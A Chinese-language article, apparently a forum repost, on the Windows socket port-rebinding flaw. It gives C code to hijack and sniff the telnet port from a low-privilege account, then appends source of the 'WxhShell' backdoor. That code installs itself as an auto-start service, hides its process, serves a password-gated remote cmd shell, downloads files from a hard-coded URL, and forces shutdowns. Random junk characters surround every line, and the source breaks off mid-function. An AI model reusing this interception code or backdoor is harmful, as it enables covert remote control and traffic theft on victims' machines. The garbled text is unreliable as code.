在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
p!zJ;rh) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>MG(qi @hif$ saddr.sin_family = AF_INET;
LA%bq_>f o>?*X(+le saddr.sin_addr.s_addr = htonl(INADDR_ANY);
AIRr{Y FT89*C)oD bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
y(a!YicA? eV7u*d? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
;%!B[+ut" wO.iKX; 这意味着什么?意味着可以进行如下的攻击:
Q@-ovuxi XK
ApLz 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>cN~U3 {gsdG- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0F:1\9f5 P"3*lk+w 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
P0Z!?`e=M T$+-IAE 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
_S@aGw r~7:daG* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
M4m$\~zf zj|WZ=1*Wp 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
T
vtm`Yk\ {9LWUCpsf 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Bs;|D 0;.<~;@h #include
JkQ\)^5v #include
;V5yXNQ #include
'5KeL3J; #include
atF?OP|{,w DWORD WINAPI ClientThread(LPVOID lpParam);
89~ =eY int main()
|=dC
)Azs {
)C%N]9FvY WORD wVersionRequested;
iK()&TNz DWORD ret;
H1EDMhn/ WSADATA wsaData;
qe$^q BOOL val;
qMYe{{r SOCKADDR_IN saddr;
8,"yNq SOCKADDR_IN scaddr;
vZj`| int err;
\G|%Zw| SOCKET s;
v(]]_h SOCKET sc;
.dMVoG5 int caddsize;
: 9t4s#. HANDLE mt;
2&!bfq![ DWORD tid;
e8=YGx^o` wVersionRequested = MAKEWORD( 2, 2 );
bM,1 f/^ err = WSAStartup( wVersionRequested, &wsaData );
2";SJF'5\ if ( err != 0 ) {
a2 +~;{?g printf("error!WSAStartup failed!\n");
Ro(Zmk\t return -1;
(la[KqqCO }
kgdT7 saddr.sin_family = AF_INET;
D L'iS Z3TS,a1I4 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
*J|(jdu7 8;14Q7,S saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Z4hrn:: saddr.sin_port = htons(23);
2d>hi32I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tCG76LH {
v"& pQ printf("error!socket failed!\n");
a|7a_s4( return -1;
SMH<'F7i }
~@ jY[_ val = TRUE;
wIB`%V //SO_REUSEADDR选项就是可以实现端口重绑定的
I
pzJ# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
(6l+lru[ {
$j}OB6^I printf("error!setsockopt failed!\n");
\%Ves@hG> return -1;
l:#-d.z# }
XQ%4L-rhN //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
:r#)z4d5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
azQ D> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ev1 W6B-a 8lF\v /vN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
1NQbl+w#I {
lKWPTCU ret=GetLastError();
FTc.]laO printf("error!bind failed!\n");
mrIh0B:` return -1;
2%RNq<{Z_ }
zmj"fN{\ listen(s,2);
(;Y8pKl1e while(1)
;5-r_D;9 {
X$%4$ caddsize = sizeof(scaddr);
2*"Fu:a"`I //接受连接请求
j>Iaq" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
"tjLc6Xl^ if(sc!=INVALID_SOCKET)
qy)_wM {
BrRL7xX mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
K~=UUB if(mt==NULL)
[/s&K{+c {
#U8rO;$ printf("Thread Creat Failed!\n");
yz8mP3"c:o break;
o8e?J\? }
n1
6 `y} }
0Wa}<]:^ CloseHandle(mt);
nJ4pTOc }
.itw04Uru closesocket(s);
QrO\jAZ{Ag WSACleanup();
cdqB,]" return 0;
-7J| l }
^7zu<lX DWORD WINAPI ClientThread(LPVOID lpParam)
}Sy=My89r {
n
-( SOCKET ss = (SOCKET)lpParam;
Hbv6_H SOCKET sc;
kKC9{^%) unsigned char buf[4096];
T91moRv SOCKADDR_IN saddr;
niB`2J long num;
z[`@}}Q DWORD val;
Zo1,1O DWORD ret;
;XM{o:1Y[ //如果是隐藏端口应用的话,可以在此处加一些判断
"&Po,AWa //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
2'=T[<nNB saddr.sin_family = AF_INET;
s3 7'&K saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Z{&cuo.@<] saddr.sin_port = htons(23);
T~QJO0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2 41*! {
c'/l,k printf("error!socket failed!\n");
C8FB:JNJV return -1;
U9b?i$ }
~4"qV_M val = 100;
Y0eE-5F, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4pw6bK,s2\ {
L(&&26Y ret = GetLastError();
quY:pqG38q return -1;
ca+5=+X7 }
{o(j^@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
q,
O$ %-70 {
g}@OUG"D ret = GetLastError();
YPHS1E? return -1;
%|s+jeUDn| }
tcxcup% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
%iV^S!e {
boDt`2= printf("error!socket connect failed!\n");
%^RN#_ro(3 closesocket(sc);
]_N|L|]M closesocket(ss);
95el'K[R return -1;
>/|q:b^2r }
/SYw;<= while(1)
)GHq/:1W {
<&C]sb //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
pK0"%eA //如果是嗅探内容的话,可以再此处进行内容分析和记录
O/[cpRe //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
E>l~-PaZY num = recv(ss,buf,4096,0);
9B;{]c if(num>0)
lg^Z*&( send(sc,buf,num,0);
7uzkp&+: else if(num==0)
kc0E%odF.v break;
|i++0BU num = recv(sc,buf,4096,0);
Ub6jxib if(num>0)
a+n0|CvF send(ss,buf,num,0);
T=ev[ mS else if(num==0)
W6Y]N/v3> break;
JtER_(. }
AK@9?_D closesocket(ss);
X&kp;W closesocket(sc);
1I:+MBGin return 0 ;
O%bEB g }
](hE^\SC EFz&N\2 4EY)!?; ==========================================================
!KUi\yQ1 V:y'Qf2M 下边附上一个代码,,WXhSHELL
F w?[lS `nu''B
H ==========================================================
Ofs<EQ $< JaLS #include "stdafx.h"
} }59V&'t 4r45i: #include <stdio.h>
(!:,+*YY #include <string.h>
=i[\- #include <windows.h>
4t=G
#include <winsock2.h>
PUUwv_ #include <winsvc.h>
B6={&7U2 #include <urlmon.h>
'dn]rV0(C ez|)ph7 #pragma comment (lib, "Ws2_32.lib")
]9^sa-8 #pragma comment (lib, "urlmon.lib")
~sh`r{0 1jcouD5?H #define MAX_USER 100 // 最大客户端连接数
}~L.qG #define BUF_SOCK 200 // sock buffer
{tWf #define KEY_BUFF 255 // 输入 buffer
^~etm ')cMiX\v #define REBOOT 0 // 重启
K|epPGRr #define SHUTDOWN 1 // 关机
{z{bY\ yK=cZw%D #define DEF_PORT 5000 // 监听端口
.6Pw|xu`Pw :;9F>?VN>0 #define REG_LEN 16 // 注册表键长度
x<ZJb #define SVC_LEN 80 // NT服务名长度
-Fe?R*-g XuFYYx~ ^3 // 从dll定义API
)P
sY($ & typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Bx<
<~[Ws} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
lNYt`xp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
JJN.ugT}1 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
M<v%CawS t7aefV&_, // wxhshell配置信息
ZpQ)IHA. struct WSCFG {
cPlZXf int ws_port; // 监听端口
]Gsv0Xk1 char ws_passstr[REG_LEN]; // 口令
s*. hl.k. int ws_autoins; // 安装标记, 1=yes 0=no
T{-CkHf9Q char ws_regname[REG_LEN]; // 注册表键名
~UP[A'9jJ char ws_svcname[REG_LEN]; // 服务名
A
PEE~ char ws_svcdisp[SVC_LEN]; // 服务显示名
J| w>a char ws_svcdesc[SVC_LEN]; // 服务描述信息
VZKvaxIk6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Wi)_H$KII int ws_downexe; // 下载执行标记, 1=yes 0=no
.[ICx char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
|Y,b?*UF char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Hquc
o ZbdZrE$ };
X4~y7 b0Ps5G\ u // default Wxhshell configuration
#cI{Fe0h struct WSCFG wscfg={DEF_PORT,
3EPv"f^V "xuhuanlingzhe",
]>5/PD,wWy 1,
5Odhb "Wxhshell",
vg32y /l]S "Wxhshell",
b gK}-EU "WxhShell Service",
Po^?QVJ7 "Wrsky Windows CmdShell Service",
zBzZxK>$ "Please Input Your Password: ",
W')Yg5T 1,
V Y7[) "
http://www.wrsky.com/wxhshell.exe",
_l89 "Wxhshell.exe"
0x@6^%^\ };
*Q
"wwpl? Mh]Gw(?w // 消息定义模块
-lY6|79bF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
4O^xY
6m char *msg_ws_prompt="\n\r? for help\n\r#>";
*RJG!t*t char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
qm/22:&v5 char *msg_ws_ext="\n\rExit.";
.1Dg s=| char *msg_ws_end="\n\rQuit.";
) vE~'W char *msg_ws_boot="\n\rReboot...";
t.i 8
2Q char *msg_ws_poff="\n\rShutdown...";
;DfY#- char *msg_ws_down="\n\rSave to ";
_@
qjV~%Sy 286jI7 T char *msg_ws_err="\n\rErr!";
pmyXLT char *msg_ws_ok="\n\rOK!";
L>Fa^jq5 w;4<h8Wn5 char ExeFile[MAX_PATH];
_-K2/6zy int nUser = 0;
#lL^?|M HANDLE handles[MAX_USER];
K0|FY=#2y int OsIsNt;
aC8} d 65JF`] SERVICE_STATUS serviceStatus;
0z6R'Kjy A SERVICE_STATUS_HANDLE hServiceStatusHandle;
KQ% GIz x 8Fz#A.%P // 函数声明
z]_wjYn Z int Install(void);
7x|9n int Uninstall(void);
UD2C>1j int DownloadFile(char *sURL, SOCKET wsh);
?]_$Dcmx int Boot(int flag);
iL-(O;n void HideProc(void);
f@wquG' int GetOsVer(void);
KQ!8ks] int Wxhshell(SOCKET wsl);
*v !9MU9[( void TalkWithClient(void *cs);
BYL)nCc int CmdShell(SOCKET sock);
he;dq)-e9 int StartFromService(void);
+V ;l6D int StartWxhshell(LPSTR lpCmdLine);
61C7.EZZ; Bu~]ey1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
P~ >OS5^ VOID WINAPI NTServiceHandler( DWORD fdwControl );
"c%0P"u F rfM3x6UM // 数据结构和表定义
gwuI-d^ SERVICE_TABLE_ENTRY DispatchTable[] =
d;Ym=YHJtn {
:+^lJ&{U {wscfg.ws_svcname, NTServiceMain},
*K8$eDNZ {NULL, NULL}
a/4T>eC };
'}53f2%gKa ?jv/TBZX4 // 自我安装
8mvy\l
EEH int Install(void)
K7_UP&`=J {
BU/"rv"(Fg char svExeFile[MAX_PATH];
ohGJ1 HKEY key;
_7Ju strcpy(svExeFile,ExeFile);
4yy>jXDG >
PRFWO // 如果是win9x系统,修改注册表设为自启动
JE "x if(!OsIsNt) {
p_gm3Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
AUG#_HE]k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c<:-T RegCloseKey(key);
t6"%3#s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
r=
`Jn6@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^1I19q RegCloseKey(key);
|.: q return 0;
[6Izlh+D }
q_[o"wq/ }
]nn98y+ }
%D{6[8 else {
i
&nSh ]KK iy.p n // 如果是NT以上系统,安装为系统服务
G"qvz{* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{L{o]Ii?g if (schSCManager!=0)
_}Ac n$ {
HmGWht6R SC_HANDLE schService = CreateService
oq
Xg (
Ju@c~Xm schSCManager,
EH J.T~X wscfg.ws_svcname,
t\dN DS wscfg.ws_svcdisp,
*aM=Z+ SERVICE_ALL_ACCESS,
,q`\\d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Xx~Bp+ SERVICE_AUTO_START,
O m|_{ SERVICE_ERROR_NORMAL,
`KoV_2| svExeFile,
"<N*"euH NULL,
T4Uev*A NULL,
I{C
SH NULL,
hD 82tr NULL,
oWT3apGO NULL
*w`sM%]Rq );
Z"xvh81P if (schService!=0)
2*& ^v {
vm8eZG| CloseServiceHandle(schService);
?(1y CloseServiceHandle(schSCManager);
`g=J%p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
6xx ?A>: strcat(svExeFile,wscfg.ws_svcname);
-$ls(oot if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
3qC}0CP* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
q"lSZ;
'E RegCloseKey(key);
<dtGK~_ return 0;
6@5+m
0`u3 }
>1Ibc=}g }
)D7m,Wi+ CloseServiceHandle(schSCManager);
D%pF;XY }
L,/%f<wd }
D;*SnU(9L iOghb*aW return 1;
Dcgo%F-W }
d7;um<%zn Se}c[|8 // 自我卸载
j3V
-LnA int Uninstall(void)
7>%8eEc {
B~ GbF*j HKEY key;
! n@KU!&k N=}A Z{$ if(!OsIsNt) {
83_h J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Xl#ggub? RegDeleteValue(key,wscfg.ws_regname);
E{`fF8]K RegCloseKey(key);
45c$nuZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*])
`z8Ox RegDeleteValue(key,wscfg.ws_regname);
K+3=tk]W9u RegCloseKey(key);
+I|vzz`ZVr return 0;
KkbD W3- }
7Ovi{xd@ }
^jZbo{ }
N~)_DjQP5 else {
FTUv IbT |/{=ww8| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
SY\ gXO8k if (schSCManager!=0)
",; H`V {
~B?y{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
8cIKvHx if (schService!=0)
0S!K{xyR {
,#9PxwrO if(DeleteService(schService)!=0) {
$%#!bV CloseServiceHandle(schService);
(uE!+2C CloseServiceHandle(schSCManager);
@q7I4 return 0;
S4z;7z(8+ }
uy$e?{Jf CloseServiceHandle(schService);
YU'E@t5 }
3F2w-+L CloseServiceHandle(schSCManager);
@#l= l }
?CPahU }
d\8l`Krs[_ !pX>!&sb return 1;
x'<X!gw }
+[mk<pQ )3EY; // 从指定url下载文件
;HO= int DownloadFile(char *sURL, SOCKET wsh)
.#8 JCY {
/y}xX HRESULT hr;
vA8nvoi char seps[]= "/";
!%c\N8<>GD char *token;
)Ql%r?(F+ char *file;
Yc?*dUV char myURL[MAX_PATH];
e(t\g^X char myFILE[MAX_PATH];
@:#eb1<S p<"m[Dt] strcpy(myURL,sURL);
/a4{?? #e token=strtok(myURL,seps);
XW]tnrs while(token!=NULL)
8{sGNCvU {
_-g&PXH file=token;
[7Oe3= token=strtok(NULL,seps);
UP,c | }
%7+qnH*;r }o`76rDN GetCurrentDirectory(MAX_PATH,myFILE);
H G^'I+Yn strcat(myFILE, "\\");
vXje^>_6 strcat(myFILE, file);
`b$.%S8uj= send(wsh,myFILE,strlen(myFILE),0);
!+v$)3u9 send(wsh,"...",3,0);
2BwO!Y[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
0 @oJFJrO if(hr==S_OK)
|CRn c: return 0;
*$g-:ILRuZ else
fE
mr^R return 1;
$>LQ6|XRu X'iWJ8 }
wFZP,fQ9l
.?$gpM?i // 系统电源模块
4.t-i5 int Boot(int flag)
%EB/b {
cbTm'}R(G HANDLE hToken;
}qD\0+`qi TOKEN_PRIVILEGES tkp;
5=ryDrx Q^")jPd if(OsIsNt) {
Y}wyw8g/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
oUlVI*~ND LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
A*BeR0( tkp.PrivilegeCount = 1;
3^yK!-Wp( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
o66}yJzmD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
xJ.M;SF4 if(flag==REBOOT) {
utV_W& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
TM%%O :3 return 0;
+
{'.7# }
_H@DLhH|= else {
.7X^YKR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7@W>E;go return 0;
H<+TR6k< }
Xsa]. }
cw
<l{A else {
3=oDQ&UFt if(flag==REBOOT) {
dSHDWu& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
jnwu9PQ return 0;
TB31-
() }
^U/O!GK else {
u=e{]Ax#} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
N8df8=.kw return 0;
$[ *w"iQ }
,I;>aE<# }
;!Fn1|) ,eS)e+yzc2 return 1;
k+*u/neh }
"" EQE>d 4CTi]E=H{ // win9x进程隐藏模块
1< ?4\?j void HideProc(void)
S3J^,*' {
n+ M <\ ]6j{@z?{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
, W?VhO if ( hKernel != NULL )
.T`%tJ-Em {
Tp2.VIoQ= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
1_G^w
qk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
))Za&S*< FreeLibrary(hKernel);
:g/tZd$G5 }
uPvEwq*
C }x,S%M- return;
apn*,7ps65 }
1|:KQl2q #5uOx(> // 获取操作系统版本
yB!dp;gM{ int GetOsVer(void)
x4O~q0>:Le {
t_1LL >R OSVERSIONINFO winfo;
/x *3}oI winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3XNCAb2 GetVersionEx(&winfo);
DHRlWQox if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
* v#o return 1;
rvM {M/4 else
nJ;.Td return 0;
m4Zk\,1m.| }
_Z\G5x F"mmLao // 客户端句柄模块
%"-5 <6d int Wxhshell(SOCKET wsl)
%z$#6?OK^ {
!()Qm,1u SOCKET wsh;
;9#KeA _ struct sockaddr_in client;
J .<F"r> DWORD myID;
1\.pMHv/ ?V=CB,^ while(nUser<MAX_USER)
9-
#R)4_ {
?q [T int nSize=sizeof(client);
y1#1Ne_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7}mFL* if(wsh==INVALID_SOCKET) return 1;
wuo,kM q.}CU.dp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!5N.B|Nt if(handles[nUser]==0)
}-2|XD%] closesocket(wsh);
s#GLJl\E_P else
G+m }MOQP7 nUser++;
hqdDm }
$pz/?>! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+cRn%ioVi [N'h%1]\ return 0;
Xwtqi@zlE }
ajpXL 8?C5L8) // 关闭 socket
(-co. void CloseIt(SOCKET wsh)
5-A\9UC*@ {
_VXN#@y closesocket(wsh);
}GIt!PG nUser--;
Yr|4Fl~U ExitThread(0);
!Z6{9sKR=] }
AOx[ S8gs-gL#Og // 客户端请求句柄
8b=_Y; void TalkWithClient(void *cs)
eV~goj {
>-c8q]()ly K,UMqAmk SOCKET wsh=(SOCKET)cs;
F:ELPs4" char pwd[SVC_LEN];
.G\7cZ char cmd[KEY_BUFF];
: E?V. char chr[1];
#A.@i+Zv int i,j;
:gC#hmm^ BJ0?kX@ while (nUser < MAX_USER) {
'B}qZCy W Y9|!+,
if(wscfg.ws_passstr) {
XX~,>Q}H= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ch]29 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wyG;8I //ZeroMemory(pwd,KEY_BUFF);
yDS4h(^ i=0;
nRY5xRvK while(i<SVC_LEN) {
:hA#m[ XfmwVjy // 设置超时
Q@H V- (A fd_set FdRead;
i mM_H;-X struct timeval TimeOut;
0CvUc>Pj`" FD_ZERO(&FdRead);
-{A<.a3P}= FD_SET(wsh,&FdRead);
u= yOu^={ TimeOut.tv_sec=8;
|cY`x(?yP TimeOut.tv_usec=0;
GKCroyor int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2"~8Z(0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
\j.:3Xr tg/H2p^Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
F1hHe<) pwd
=chr[0]; h7@6T+#WoT
if(chr[0]==0xd || chr[0]==0xa) { g
`4<9RMun
pwd=0; mVmGg,
break; jFb?b6b
} mBC+6(5V
i++; YbLW/E\T
} |nF 8gh~}
L=h'Qgk%
// 如果是非法用户,关闭 socket .sA.C]f
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'ig'cRD6N
} hzC>~Ub5
r_.S>]
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {: W$LWET
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vz[C=_m
-.3w^D"l
while(1) { @|)Z"m7
L8n|m!MOD
ZeroMemory(cmd,KEY_BUFF); qY#6SO`_iy
6zn5UW#q
// 自动支持客户端 telnet标准 5:Uso{
j=0; Qci]i)s$js
while(j<KEY_BUFF) { -{_PuJ "
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bjS{(
cmd[j]=chr[0]; 3mni>*q7d
if(chr[0]==0xa || chr[0]==0xd) { Sx\]!B@DSu
cmd[j]=0; 59-c<I/}f
break; ,2)6s\]/b
} lys#G:H]
j++; &~w}_Fjk
} BluVmM3Vj
9{uO1O\
// 下载文件 P
}uOJVQ_
if(strstr(cmd,"http://")) { u]gxFG"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); u2[w#
if(DownloadFile(cmd,wsh)) kNL\m[W8$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {y;n:^
else [8*)8jP3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]cruF#`%
} %%wNZ{
else { M@ZI\
KG5>]_GH
switch(cmd[0]) { ]s748+
lHIM}~#;nd
// 帮助 9k=3u;$v
case '?': { v9UD%@tZ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a'z7(8$$
break; ~v"L!=~G;a
} 1i] ^{;]
// 安装 FCn_^l)EA
case 'i': { Tb-F]lg$
if(Install()) -`t^7pr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wvPk:1wD5
else i 3SHg\~Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;S*}WqP,
break; m#F`] {
} 9)=ctoZ'
// 卸载 qjc4.,/
case 'r': { RX5dO%
if(Uninstall()) 8KNZ](Dj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b_):MQ1{
else 4'Zp-k?5`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hq 188<
break; I`p;F!s
} u~-8d;+?y
// 显示 wxhshell 所在路径 eR" <33{
case 'p': { BF <ikilR
char svExeFile[MAX_PATH]; Z(!\%mn
strcpy(svExeFile,"\n\r"); !?gKqx'T$
strcat(svExeFile,ExeFile); 2 Vrw
send(wsh,svExeFile,strlen(svExeFile),0); 1'\/,Es
break; IaXeRq?<
} .6'qoo_N
// 重启 O7IJ%_A&
case 'b': { alvrh'51
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6K<K
if(Boot(REBOOT)) Tu 7QCr5*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JO<wU
else { ?I@W:#>o
closesocket(wsh); ia 73?*mXT
ExitThread(0); 3%ZOKb"D*
} *=c1do%F
break; mdgi5v
} VU d\QR-
// 关机 baK$L;Xo:
case 'd': { "FKOaQ%IH
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #N cK
X
if(Boot(SHUTDOWN)) b>N8F^}~O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uRr o?m<
else { 4_cqT/
closesocket(wsh); 0_t`%l=
ExitThread(0); ^a1^\X.~
} ^ovR7+V
break; H'hpEwG
} zI<<Q2
// 获取shell Z/;aT -N
case 's': { I(0~n,=j
CmdShell(wsh); ox (%5c)b|
closesocket(wsh); {jX2}
ExitThread(0); Per1IcN
break; >J>[& zS
} 1 Ya`| ?FS
// 退出 A$:U'ZG_
case 'x': { j ?(&#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eHDN\QA 2
CloseIt(wsh); KMjhZap%
break; 1PV'?tXp(
} \)?HJ
// 离开 "!%l/_p?
case 'q': { %F4%H|G
send(wsh,msg_ws_end,strlen(msg_ws_end),0); `lt"[K<
closesocket(wsh); Gk /fBs
WSACleanup(); A=wh@"2
exit(1); ~O&:C{9=
break; %n: k#
} b`O'1r\Y;
} d4c8~L
H-
} nK%LRcAs
QW(Mz Hg
// 提示信息 4Ic*9t3
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~1vDV>dpE
} C&rkvM8
}
O+Y6N
xx%j.zDI]
return; c|@bwat4
} lv+TD!b
hNmJ!Uo
// shell模块句柄 *6DB0X_-}
int CmdShell(SOCKET sock) g~A`N=r;h
{ -:y,N
9^
STARTUPINFO si; P! #[mio
ZeroMemory(&si,sizeof(si)); +s DV~\Vu
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1F&Trqq
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [}0haTYc4
PROCESS_INFORMATION ProcessInfo; Vt&2z)Zz
char cmdline[]="cmd"; \ Et3|Iv
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (S\[Y9
return 0; zsyIV!(
} #KexvP&*
(\YltC@q%
// 自身启动模式 aH/
k Ua
int StartFromService(void) FSW_<%
{ X!dYdWw*m
typedef struct ;P%1j| 7
{ [;),\\u,d
DWORD ExitStatus; ~<F8ug#
DWORD PebBaseAddress; 9H`XeQ.
